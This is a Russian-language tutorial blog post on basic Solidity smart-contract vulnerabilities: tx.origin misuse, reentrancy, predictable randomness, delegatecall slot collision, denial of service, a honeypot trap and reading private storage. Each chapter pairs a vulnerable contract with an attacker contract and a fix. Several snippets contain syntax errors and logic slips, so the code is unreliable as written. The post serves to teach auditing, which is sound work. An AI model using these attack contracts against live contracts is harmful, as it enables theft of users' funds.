November 25, 2023

      Solidity Hacker: level 0 

Всем привет, с вами Matapac. Сегодня мы с вами погрузимся в мир солидити и перейдем на его темную сторону. Да, мы рассмотрим уязвимости и как их юзать и следовательно, как их не допускать

Вы уже обратили внимание на название, а именно "Level 0". Да, это значит, что будут левелы 1,2,3...и я полагаю их может быть бесконечное количество. По мере развития языка, стандартов в EVM мы получаем все новые и новые проблемы, которые хакеры и аудиторы используют в свою пользу - по разному, разумеется.

В сегодняшней части мы не будем погружаться в основы Солидити, для этого у вас есть прекрасный интернет. Зато мы рассмотрим самые базовые уязвимости в Солидити, но от этого они не перестали быть актуальными. Я специально подбирал для вас такие темы, которые на сегодняшний день можно встретить на просторах EVM-чейнов.

В следующих же статьях мы будет рассматривать более хардовые уязвимости, MeV ботов и прочее веселье, но пока... Добро пожаловать в это хакерское аудиторское чтиво!


ИНТРО

Как уже многие знают не так давно я начал учить Солидити в web3 школе GuideDAO, у меня начало получаться и я открыл для себя направление аудита.
Как же много там прекрасного. Для любителей головоломок (за решение которых вам еще и заплатят) самое то. Но дело тут еще в том, что я могу быть сконцентрирован только на смарт контрактах и ресерче в пределах Solidity. В общем, только EVM - только хардкор.

Здесь мы не будем говорить о том, как стать аудитором смарт-контрактов, какие нужны скиллы, какие тулзы нужно уметь использовать - все это не в этот раз.

В этот раз более практично и гораздо интересней!

Для кого эта статья?

Если коротко, то для любого криптана.
Если не так коротко, то каждому кто в крипте эта статья будет полезной. Но почему?

Во-первых, для людей незнакомыми с кодом эта статья будет читаться достаточно легко. Вы сможете понять, как тут все устроено и чего стоит опасаться в контрактах. Также для многих из вас, я надеюсь, это чтиво откроет новые горизонты и сподвигнет получить софт-скиллы или ресерчить разные контракты в поиске подобных уязвимостей (чтобы оповестить об этом проект и забрать вознаграждение, конечно же)

Во-вторых, если у вас уже есть понимание кода, то это будет еще более полезным. После этой статьи вы поймете какие ошибки не стоит допускать в своих будущих проектах (надеюсь, проекты у вас случатся. Билдите, братья) или даже это станет для вас базой, чтобы ступить на путь аудита.

В-третьих, если вы хай-лвл аудитор и солидити бог, то это просто будет отличным напоминанием базовых ошибок, которые все еще довольно часто допускаются в проектах.

А если ты тоже хочешь пойти учиться в GuideDAO, то можешь воспользоваться промокод на 10% "IZIDAO"


Наши планы на сегодня

Все очень просто. Под каждую уязвимость отдельная глава, внутри главы будет так:

  • Описание уязвимости
  • Пример кода с моими заметками на понятном языке
  • Пример хак-кода
  • Пример кода в котором мы исправляем эту уязвимость

Договорились? Договорились. Погнали!


Содержание

  1. Tx.origin == msg.sender или твой кошелек сам отправит деньги хакерам
  2. Reentrancy или благодаря чему появился Ethereum Classic
  3. Block.timestamp или случайности не случайны
  4. Delegatecall или как тебя заменят
  5. Denial of Service или заблокировать функцию контракта
  6. Honeypot или как заработать на хакерах
  7. Accessing Private Data или как раздобыть приватную инфу из контракта





1. Tx.origin == msg.sender или твой кошелек сам отправит деньги хакерам

Пожалуй, моя одна из самых любимых уязвимостей и начать с нее будет лучше всего. Объясню почему: это очень просто для понимания и это все еще часто встречается в контрактах даже у опытных разработчиков.


ВАЖНО ПОНЯТЬ: tx.origin этот тот кто изначально запустил транзакцию. msg.sender это последнее звено в транзакции.

Пример:

Максим со своего кошелька вызывает контракт А, контракт А -> контракт B, контракт B -> контракт C

Кто вызвал контракт C по мнению tx.origin? кошелек Максима
Кто вызвал контракт С по мнению msg.sender? контракт B

Смоделируем ситуацию:

Максим задеплоил этот контракт и положил на него 2 эфира.

contract MaxCapital {
//создаем переменную с типом адрес и называем owner
    address public owner; 
//эта "функция" срабатывает автоматически, когда деплоится контракт...
//тот адрес, что задеплоил контракт сохраняется в переменной owner
    constructor() payable {
        owner = msg.sender; 
    }
//функция отправки денег с контракта. В скобочках: на какой адрес, сумма
     function withdrawMoney(address payable _to, uint _amount) public {
//ТА САМАЯ ОШИБКА. Проверка того, что tx.origin = адресу в owner 
        require(tx.origin = = owner, "U are not MaxWylde"); 
        (bool sent, ) = _to.call{value: _amount}(""); 
        require(sent, "Failed to send Ether");
    }
//здесь мы просто смотрим баланс кошелька
     function balance() public view returns (uint) {
        return address(this).balance;
    }
}


В чем ошибка?

Проверка require(tx.origin == owner) говорит: Равен ли адрес начавший транзакцию, которая вследствии вызвала эту функцию owner(кошельку Максима).
Смотри дальше.

Матапак нашел этот контракт, обнаружил внутри уязвимость и решил ей воспользоваться. Для этого ему понадобиться:

  • Написать контракт hack с функцией attack
  • Включить навыки социальной инженерии и хитрым способом заставить Макса вызвать функцию attack. Самое простое это попросить у Максима отправить нам немного eth на газ, будем надеяться он не поймет, что мы ему скинем адрес контракта

Сейчас покажу, как простая транзакция от Максима на наш контракт позволит нам забрать все его деньги с контракта

contract Hack {
//с этого контракта будем вызывать функию в контракте Максима
    address payable public owner;
    MaxCapital maxCapital; 

      constructor(MaxCapital _maxCapital) {
        maxCapital = MaxCapital(_maxCapital);
        owner = payable(msg.sender);
    }
//эта функция дергает функцию withdraw из контракта Максима...
//но она не пройдет проверку tx.origin = = owner, если мы ее вызовем
    function attack() public {
        maxCapital.withdraw(owner, address(maxCapital).balance); 
    }
//функция приема денег на наш контракт, здесь произойлет вся магия...
//когда Макс отправляет нам деньги он активирует эту функцию принятия...
//а в этой функции срабатывает наша функция attack...
//таким образом, мы проходим проверку на tx.origin
      receive() external payable {
            attack(); 
    }

Это достаточно хитрый способ, но он один из многих. Все упирается только в смекалку хакера. По идее, мы просто засунули функцию вывода с контракта Максима в функцию recieve (приема денег). Соотвественно, когда Макс отправляет нам деньги, то он как бы своим кошельком активируют функции recieve -> attack -> withdrawMoney.

Как избежать этой проблемы?

Самые внимательные уже все поняли. tx.origin опасно использовать, а вот msg.sender отлично подходит, ибо в таком случае вызывающий функцию будет не кошелек Макса, а наш контракт. Проверка должна быть такой:

require(msg.sender = = owner, "U are not MaxWylde");

Вследующих частях мы еще коснемся этой уязвимости, но разберем другие виды ее использования. Например, через мультисиг и мев ботов.


2. Reentrancy или благодаря чему появился Ethereum Classic

в 2016 году был только один Ethereum и на нем появилось первое большое DAO под названием The DAO (да, вот так оригинально). Там было собрано 3.5 млн ETH под управлением сообществом. Все шло хорошо, пока один хакер не обнаружил внутри уязвимость, которая позволила снимать эфиры с этого DAO без остановки. Он так и поступил, забрав 25% всей эмиссии.

Принимались разные способы остановить это. Например, другие "белые" хакеры паралелльно использовали эту же уязвимость, чтобы забрать как можно больше и вернуть сообществу. Но лучшим вариантом оказалось решение форкнуть сеть Ethereum с откатом до этого взлома. Таким образом, токены хакера сильно укатаются в цене, а сообщество заживет с чистого листа. Так и появлися всеми нами любимый Ethereum, а тот оригинал теперь зовется Ethereum Classic.


А ведь все дело было в уязвимости Reentrancy, которая по сей день встречается в контрактах, классика. Смоделируем ситуацию:

Максим задеплоил контракт с пулом, куда каждый желающий может закинуть свои эфиры и при желании их вернуть.

Этот контракт может только принимать деньги и отдавать. Записывая каждого вкладчика в mapping. Давайте посмотрим на код.

contract MaxPool {
//Создаем mapping balances, где адрес вкладчика привязывается к его сумме 
    mapping(address => uint) public balances;
//принимаем деньги на контракт...
//и сразу записываем в balances адрес вкладчика и сумму
    function depositPool() public payable {        
      balances[msg.sender] += msg.value;    
   }
//функция для рефаунда вкладчикам
    function refundMoney() public {      
      address balanceMan = msg.sender;
//если вызвавший эту функцию вложил в этот пул больше 0...
//значит он может забрать свое вложенное        
       if (balances[balanceMan] > 0) {
        (bool success, ) = balanceMan.call{value: balances[balanceMan]}("");
        require(success, "BUY-BUY");
//ОШИБКА! здесь мы зануляем баланс вкладчика, после того как он все снял
//выглядит логично, чтобы не было повторных рефаундов
        balances[balancePerson] = 0;
      }
    }
//просто функция просмотра баланса этого контракта
    function checkBalance() public view returns(uint) {
        return address(this).balance;
    }
 }


В чем ошибка?

Очень логично обнулить баланс человека в пуле, после того, как он свои деньги забрал. На первый взгляд все выглядит шикарно, но есть одно большое НО.
И пока я вам его не раскрою, давайте сначала покажу контракт хакера.

contract HackPool {
//создаем переменную вложения в 1 эфир
    uint constant AMOUNT = 1 ether;
    MaxPool maxPool;
//при деплое мы внесем адрес контракта Макса и закрепим его в конструкторе
    constructor(address _maxPoolAddress) {
        maxPool = MaxPool(_maxPoolAddress);
    }
//мы просто отправляем 1 эфир напрямую в контракт Макса...
//через обращение к функции depositPool
    function depositMaxPool() external payable {
        maxPool.depositPool{value: AMOUNT}();
    }
//эта функция всего лишь запрашивает рефаунд, но дальше происходит...
    function hack() external {
        maxPool.refundMoney();
    }
//знакомая нам функция приема средств на контракт...
//после активации функции выше мы запрашиваем рефаунд...
//а с рефаундом активируется эта функция с повторным рефаундом...
//и так бесконечно, пока мы не осушим пул 
    receive()  external payable {
//проверка, что у Макса на контракте еще есть деньги
        if(maxPool.checkBalance() > 0) {
            maxPool.refundMoney();
       }
    }
}

Наверное, вы до сих пор не до конца поняли почему так произошло? Рассказываю:

Все очень просто.

Когда мы запрашиваем рефаунд в контракте хакера -> срабатывает функция рефаунд у Макса -> Мы проходим проверку, что имеем право на получение 1 эфира -> срабатывает сам рефаунд и нам отправляют вложенное через (bool success, ) = balanceMan.call{value: balances[balanceMan]}(""); -> в нашем хак контракте срабатывает функция recieve, потому что мы принимаем рефаунд -> а в ней сразу же срабатывает новый запрос на рефаунд

Но ведь у нас специально есть обнуление баланса в функции возврата рефаунда - скажете вы.

Да, только она не успевает сработать. Потому что мы сразу же запрашиваем возврат. Контракт Макса с каждым возвратом буквально сам дергает наш контракт на повторный рефаунд и до "balances[balancePerson] = 0" он просто не может дойти

Как этого избежать?

Мы можем просто занулять в самом начале if на рефаунд. Да, рефаунд все равно сработает, но в этот момент наш баланс уже будет обнулен

Выглядит это теперь так:

function refundMoney() public {      
      address balanceMan = msg.sender;
        uint amount = balances[balanceMan];
        
       if (balances[balanceMan] > 0) {
        balances[balanceMan] = 0;

        (bool success, ) = balanceMan.call{value: balances[balanceMan]}("");
        require(success, "BUY-BUY");
      }

Есть еще один modifier от openzeppelin, но сюда я приведу его в пример без объяснения. Потому что новички могут запутаться, а ребята с опытом могут разобраться сами.

bool private locked;

modifier reentrancyRequire() {
  require(!locked, "error");
  locked = true;
_;
  locked = false;
}


3. Block.timestamp или случайности не случайны

Можем ли мы обыграть казино с вероятностью в 100%? Если код этого казино написан на Солидити и разработчики допустили частую ошибку по работе с рандомом, то нам не составит труда этим воспользоваться.

Часто эта ошибка проявляется с использованием blockhash и block.timestamp

Смоделируем ситуацию:

Максим решил создать свое децентрализованное казино. По классике возьмем такой пример: суть этого казино в том, чтобы создать "рандомное" число, а игроки должны это число угадать. Если человек угадывает казино, то забирает выигрыш. Мы здесь не будем усложнять логику казино, нам важно показать саму суть

contract MaxCasino {

    constructor() payable {
}
//когда участник пишет свой вариант числа - он вызывает эту функцию...
//за _guess здесь принимается ответ участника
    function guess(uint _guess) public {
//здесь мы устанавливаем правильный ответ через "рандом"...
//мы используем хэш блока через blockhash...
//и метку времени через block.timestamp
//это встроенные параметры, которые мы можем использовать в Солидити
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        );
//здесь проверяем, что если предполашаемый ответ игрока...
//совпадает с ответом из нашей формулы выше...
//то игроку отправляется 1 eth
        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

В чем ошибка?

Используя blockhash и block.timestamp мы создаем рандом только на первый взгляд. Но если хакер напишет контракт точно с такой же функцией, то ему не составит труда постоянно угадывать число

Следи за руками, как мы вынесем казино Максима и никаких фокусов

contract HackCasino {
//функция принятия денег. Мы же хотим получить выигрыш на этот контракт
    receive() external payable {
}
//здесь при вызове этой функции указываем аргументом контракт Казино...
    function attack(MaxCasino maxCasino) public {
//копируем метод "рандома" из контракта казино...
//как видим все в точности также 
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        );
//получив ответ передаем его в функцию guess в контракт Казино на проверку...
//естественно мы забираем выигрыш и так бесконечно, пока не опустшим
        maxCasino.guess(answer);
    }
}


Как этого избежать?

На самом деле способов для генерации рандома толком нет. Да, это странно, но это так. Единственное можно использовать ораклы, это, конечно, затратно, но оно стоит того.

А вообще можно написать что-то такое. Уже лучше, чем в коде выше, но это все еще не рандом.

НО вообще запомни: не пытайся создавать рандом подобными образами, это все распаковывается и никакой это не рандом. Выход только в использовании оракулов!

function getRandomNumber(uint _salt) private view returns(uint) {
        return uint(
            keccak256(
                abi.encodePacked(
                    _salt,
                    blockhash(block.number - 1),
                    blockhash(block.number - 2),
                    blockhash(block.number - 3)
                )
            )
        );
    }


4. Delegatecall или как тебя заменят

В 2017 году был взломан кошелек Parity примерно на $40 млн по тому курсу ETH. И чтобы разобраться как такое произошло мы с вами спустимся немного ниже. Да, речь пойдет о низкоуровневых штуках, но ты не пугайся. Это не так уж сложно. Эта уязвимость покажет нам насколько важно быть внимательным

В Солидити есть низкоуровневые вызовы и один из них это delegatecall, правда с ним есть одна проблема. Эти вызовы очень важны, они позволяют вызывать функции из других контрактов даже если нет исходного кода.

Если взять отдельно delegatecall, то он позволяет делегировать функции из контракта А в контракт В.


ВАЖНО: при использовании delegatecall порядок переменных сохраняется из контракта А

Смоделируем ситуацию:

Теперь Максим хочет инвестировать уже свои деньги в чей-то пул, он решает написать для этого смарт контракт и делегировать функции из другого контракта, который является пулом. Давай начнем с другого контракта, который является пулом

contract PoolForMax{
//задаем переменную счастливчика...
//она по идее не нужна, но будем использовать для примера...
//ее присутствие покажет нам...
//насколько важно при delegatecall сохранять порядок переменных
    address public luckyMan;// слот 0
    mapping (address => uint) public balancesPeople;// слот 1
    address public owner;// 2

 constructor(){
 owner = msg.sender;
 }
//здесь мы сохраняем каждого вкладчика в этот пул в простой мэппинг...
//состоящего из его адреса и суммы 
 function deposite(address _luckyMan) public payable {
 balancesPeople[msg.sender] += msg.value;
 luckyMan = _luckyMan;
  }
}

Теперь посмотрим контракт Максима

contract MaxWyldeDepositInPool{
//ключевая ошибка ставить переменную owner первой
 address public owner;// слот 0

 mapping (address => uint) public balances;// слот 1

 address public luckyMan;// слот 2
 address public poolForMaxAddress; // слот 3

 constructor(address _poolForMaxAddress) {
 owner = msg.sender;
 poolForMaxAddress = _poolForMaxAddress;
 }
//отправка денег в пул через delegatecall...
//здесь у нас нет никаких проблем
    function depositeInPool(address _luckyMan) public payable {
       (bool success, ) = poolForMaxAddress.delegatecal(abi.encodeWithSignature("deposite(address)", _luckyMan) );
       require(success, "Faild!");
    }
 }


В чем ошибка?

Смотри, очень важно, чтобы в контракте, который использует delegatecall к другому контракту переменные стояли в одинаковом порядке с самого начала.
Ведь у переменных есть так называемые слоты (см. в коде, я это подсветил). Короче, если в контракте А определенные переменные занимают слоты с 0 до 2, то и в контракте В должно быть также.

Например:
В первом контракте переменная address public luckyMan = 0 слот
Во втором контракте переменная address public owner = 0 слот

Это проблема, но мы можем легко ей воспользоваться и поменять владельца в смарт-контракте Макса из-за того, что он нарушил главное правило при использовании delegatecall

contract Hack{
//сейчас будем работать с контрактом Макса
 MaxWyldeDepositInPool public maxWyldeDepositInPool;
 address public owner;

 constructor(address _maxWyldeDepositInPool) {
 owner = msg.sender;
 addressHack = maxWyldeDepositInPool(_maxWyldeDepositInPool);
 }
//в этой функции мы всего-то вызываем функцию depositeInPool из контракта Макса...
//вписываем свой адрес на место аргумента...
//и из-за того, что у нас на 0 слоте у Макса стоит owner, а не luckyMan...
//мы под видом адресса luckyMan вписываем свой адрес в owner...
//назначая себя владельцем
   function maxHack(address _owner) public {
       maxWyldeDepositInPool.depositeInPool(_owner);
   }
 }

Это довольно старая ошибка, но я считаю ее по истине изысканной. Потому что дело всего лишь в такой мелочи, как разный порядок переменных.

Как от этого избавиться?

Очевидно, чтобы не попасться на эту удочку - просто сохраняйте правильный порядок переменных, когда используете delegatecall к другому контракту. Если в другом контракте на 0 слоте address owner, то и у вас тоже на 0 слоте должен быть address owner.


5. Denial of Service или заблокировать функцию контракта

Иногда можно очень просто заблокировать функцию смарт-контракта. Но для чего? Здесь вариантов масса: от блокировки выдачи денег людям и манипуляций до всяких интересных стратегий в играх, казино и прочее. Dos буквально позволяет вам стать последним, кто использует функцию в конкретном смарт контракте

Очень важная уязвимость, которую не стоит недооценивать. Да, напрямую используя ее не получится заполучить средства контракта, но поверьте мне мало кто захочет остаться со сломанным контрактом и зависшими на нем токенами.

Смоделируем ситуацию:

Предположим Максим решил доработать свой контракт пула из второй главы.
Теперь рефаунд вкладчикам будет происходить автоматически через перебор в цикле. Очень удобно, конечно, давай взглянем на код

contract MaxPool {
//Создаем mapping balances, где адрес вкладчика привязывается к его сумме 
    mapping(address => uint) public balances;
//создаем массив, где будут храниться все наши вкладчики
    address[] public allPeople;
    uint refund;
//принимаем деньги на контракт...
//и сразу записываем в balances адрес вкладчика и сумму
//и добавляем каждого вкладчика в массив
    function depositPool() public payable {        
      balances[msg.sender] += msg.value;
      allPeople.push(msg.sender);    
   }
//функция для рефаунда вкладчикам
    function refundMoney() public {
//перебор циклом, который возвращает всем вкладчикам по очереди      
      for(uint i = refund; i < allPeople.length; i++) {
          adress nextMan = allPeople[i];
//конечно не забываем написать защиту от reeantrancy и занулить перед отправкой            
          balances[msg.sender] = 0;
//отправляем деньги вкладчикам через низкоуровневый вызов call
          (bool success, ) = nextMan.call{value: balances[nextMan]}("");
          require(success, "fail"); 
//указываем, что вернули средства очередному вкладчику
          refund++;
      }
    }
//просто функция просмотра баланса этого контракта
    function checkBalance() public view returns(uint) {
        return address(this).balance;
    }
 }


Пока не буду раскрывать карты с ошибкой, давайте посмотрим на контракт хакера

contract HackYou {
//здесь мы как обычно указываем, что будем работать с контрактом Максима
 MaxPool maxPool;
 constructor(MaxPool _maxPool) {
 MaxPool = MaxPool(_maxPool);
 }
//здесь мы отправляем депозит в пул Максима...
//для того, чтобы в псоледующем его заморозить
   function deposit () external payable {
     maxPool.depositPool{value: msg.value}();
}
//в этой короткой функции кроется все зло...
//когда нам поступает рефаунд...
//срабатывает assert(false)...
//а это по идее проверка, которая если заканчивается false (здесь именно так)
//останавливает смарт контракт...
//естественно нам не могут поступить деньги и все вкладчики после нас зависли
   function hack () external payable {
     assert(false);
 }
}


Как от этого избежать?

На самом деле, самый простой вариант это не использовать циклы, а оставить как было во второй главе, где люди могут сами забирать свои средства. В таком случае, наш контракт не сломается. Но есть и другие способы, они более сложные и я не думаю, что они подходят под уровень конкретно этой части. Возможно, мы это разберем в след частях.


6. Honeypot или как заработать на хакерах

Заскамить хакера хорошо это или плохо? У всех будет своя правда, мы не буйдем здесь это обсуждать с точки зрения морали. Зато, что наиболее важно мы это разберем технически. Как же все таки устроить "медовую ловушку" для тех, кто решил забрать чужое?

Я встречал два определения для Honey Pot. Первое более известно каждому - токены которые можно купить, но нельзя продать. Оно нам сейчас не сильно интересно, да и в открытом доступе очень много разборов и примеров на всех языках мира

Второе значение - написать контракт, который якобы содержит уязвимость и использовать его как приманку для хакеров. Но на самом деле этот контракт будет иметь не уязвимость, а ловушку для тех, кто попытается его взломать. Интересно? Интересно, погнали

Смоделируем ситуацию:

Максим Вайлд aka черная шляпа aka хакер имеет на уме только желание найти слабый контракт и выжать с него все до копейки. Что ж, мы можем воспользоваться жаждой наживы Максима и дать ему то что он хочет...но только на первый взгляд

Что нам нужно знать?

Мы специально допустим в нашем контракте ошибку Reentrancy из второй главы. Но нам важно ознакомиться с еще одним хитрым ходом благодаря которому мы введем нашего хакера Максима в заблуждение.

В контракте Pool мы "КАК БЫ" будем использовать контракт Logger в котором есть функция с приемом аргументов и нам даже неважно каких, мы просто должны написать так, чтобы выглядело это логично.

Сам контракт Pool мы практически полностью скопируем из второй главы и специально оставим там ошибку Reentrancy.

Далее мы должны задеплоить оба этих контракта, получить галочку на EtherScan и вот какой код контракта Pool будет виден всем кто захочет его проверить.

contract Pool {
//создаем мэппинг с привязкой адрес => сумма, все как обычно
    mapping(address => uint) public balances;
//здесь мы как бы говорим...
//что сейчас будем использовать функцию из контракта Logger ниже
    Logger logger;
//но на самом деле в этот конструктор...
//мы передаем адрес контракта HoneyPot...
//который имеет функцию блокировки вывода
    constructor(Logger _logger) {
        logger = Logger(_logger);
    }
//функция для депозита...
//чтобы хакер внес свой эфир и потом попытался забрать весь банк...
//все как во второй главе
    function depositPool() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, "Deposit");
    }
//функция рефаунда, где мы СПЕЦИАЛЬНО допустили ошибку зануления/вычитания
    function refundMoney(uint _amount) public {
        require(_amount < = balances[msg.sender], "Sorry, not funds");
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed");
        balances[msg.sender] -= _amount;
        logger.log(msg.sender, _amount, "Withdraw");
    }
//просто функция просмотра баланса
    function checkBalance() public view returns(uint) {
        return address(this).balance;
    }
}
//контракт Logger...
//который несет в себе в целом адекватную функцию...
//которую мы КАК БЫ будем использовать в контракте Pool
contract Logger {
    event Log(address caller, uint amount, string action);
    function log(address _caller, uint _amount, string memory _action) public {
        emit Log(_caller, _amount, _action);    
 }
}


Отлично, у нас есть контракт Pool с уязвимостью Reentrancy и контракт Logger, который нужен только для вида

На самом же деле в конструктор мы будем передавать не Logger, а контракт нашего HoneyPot, который несет в себе функцию блокировки снятия средств. То есть, никто не сможет сделать рефаунд

Давай напишем HoneyPot

contract HoneyPot {
//когда хакер Максим пытается запросить рефаунд срабатывает эта функция...
//эта функция всегда откатывает транзакцию и возвращает "HoneyPOOOOOOT"
    function log(address _who, uint _sum, string memory _act) public {
        if (equal(_act, "Withdraw")) {
            revert("HoneyPOOOOOOT");
        }
    }
//функция сравнения строк
     function equal(string memory _x, string memory _y) public pure returns (bool) {        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
}


Именно адрес этого контракта мы указывали в конструктор и выдавали его за контракт Logger, который не вызывает вопросов

Ну и лишний раз посмотрим хакерский контракт Максима Вайлда, который пытался вывести все эфиры

contract HackPoolMaxWylde {
//в принципе здесь все примерно также, как и в контракте хакера со 2 главы
    uint constant AMOUNT = 1 ether;
    Pool pool;
    constructor(address _poolAddress) {
        pool = Pool(_poolAddress);
    }

    function depositMaxPool() external payable {
        pool.depositPool{value: AMOUNT}();
    }

    function hack() external {
        pool.refundMoney(1);
    }

    receive()  external payable {
        if(pool.checkBalance() > 0) {
            pool.refundMoney(1);
       }
    }
}


7. Accessing Private Data или как раздобыть приватную инфу из контракта

Скорее всего, за свой опыт в крипто вы часто прибегали к помощи скриптов для автоматизации тех или иных процессов. Часто вам приходилось доверять чужому коду, вставлять туда приватники и надеяться, что все обойдется без скама. Но вставляя свои приватные данные в софты для автоматизации чего либо стоит вопрос только о доверии к разработчикам этих софтов. Но в смарт контрактах есть очень тонкий лед и это должен усвоить каждый. Даже если вы с нуля написали свой смарт контракт и зашили туда свои приватные данные - то можете с ними попрощаться.

Accesing Private Data звучит в целом очень логично и для того чтобы получить доступ к приватным данным из переменных не нужно быть супер-хакером.

Смоделируем ситуацию:

Максим решил написать смарт-контракт и зашить в него свое имя и свой главный секрет присвоив своим переменным тип видимости "private". Он напишет очень простой код, который отлично покажет в чем основная ошибка

contract MaxSecrets {
   //созданы переменные куда сохранятся приватные данные Максима
   bytes32 private name; // слот 0
   bytes32 private secret; // слот 1
   //именно сюда Максим передаст свое имя и свой секрет...
   //и конструктор сохранит это в приватные переменные выше
   constructor (bytes32 _name, bytes32 _secret) {
        name = _name;
        secret = _secret;
    } 
  }

В чем ошибка?

Все приватные переменные являются приватными только в контексте области видимости смарт контракта, на самом деле мы можем распаковать все эти данные и важно учитывать несколько очень важных правил

  • Один слот занимает 32 байта
  • Несколько переменных могут даже уместиться в один слот
  • Массивы естественно могу занимать несколько слотов
  • Функции не занимают никаких слотов

Как получить доступ?

Например, мы можем через тесты в терминале используя hardhat (про тесты мы будем плотно говорить в других частях) обратиться к контракту вот таким образом, после чего воспользоваться console.log для того, чтобы увидеть результат

const slot 0 = await ether.provider.getStorageAt(MaxSecret.address, 0);
const slot 1 = await ether.provider.getStorageAt(MaxSecret.address, 1);

console.log("what is name?", slot 0);
console.log("what is secret?", slot 1)

Кстати, результат мы получим в "байтах", но перевести все это дело в исходные вариант - проблем не составит

Заключение!

Вот и подошла к концу первая из серии статьей на тему уязвимостей смарт контрактов. Впереди вас ждут новые части, где с каждым разом мы будем нырять все глубже и глубже. Пока не преисполнимся и не объединимся в сильное аудиторское агентство, хех

Во-первых, нужно перечитывать эту статью неоднократно, если тебе что-то вдруг непонятно. Не бойся гуглить, потому что это лучший навык, а также обязательно применяй этот код в Remix и экспериментируй с ним

Во-вторых, спасибо за поддержку и помощь в некоторых моментах Ilya Krukowski, обязательно, оформи подписочку на его тг и ютуб канал (кстати лучший плейлист-курс по Солидити)

В-третьих, спасибо GuideDAO (промокод на 10% "IZIDAO"). Если бы не было их, то и не было бы этой статьи. Лучшая web3 школа, где я наконец-то смог начать осваивать код

Скоро увидимся! P.S скоро я дропну смарт-контракты с этими уязвимостями и реальным балансом с эфирами. Кто хакнет - тот и заберет. Подписывайся на меня, скоро все будет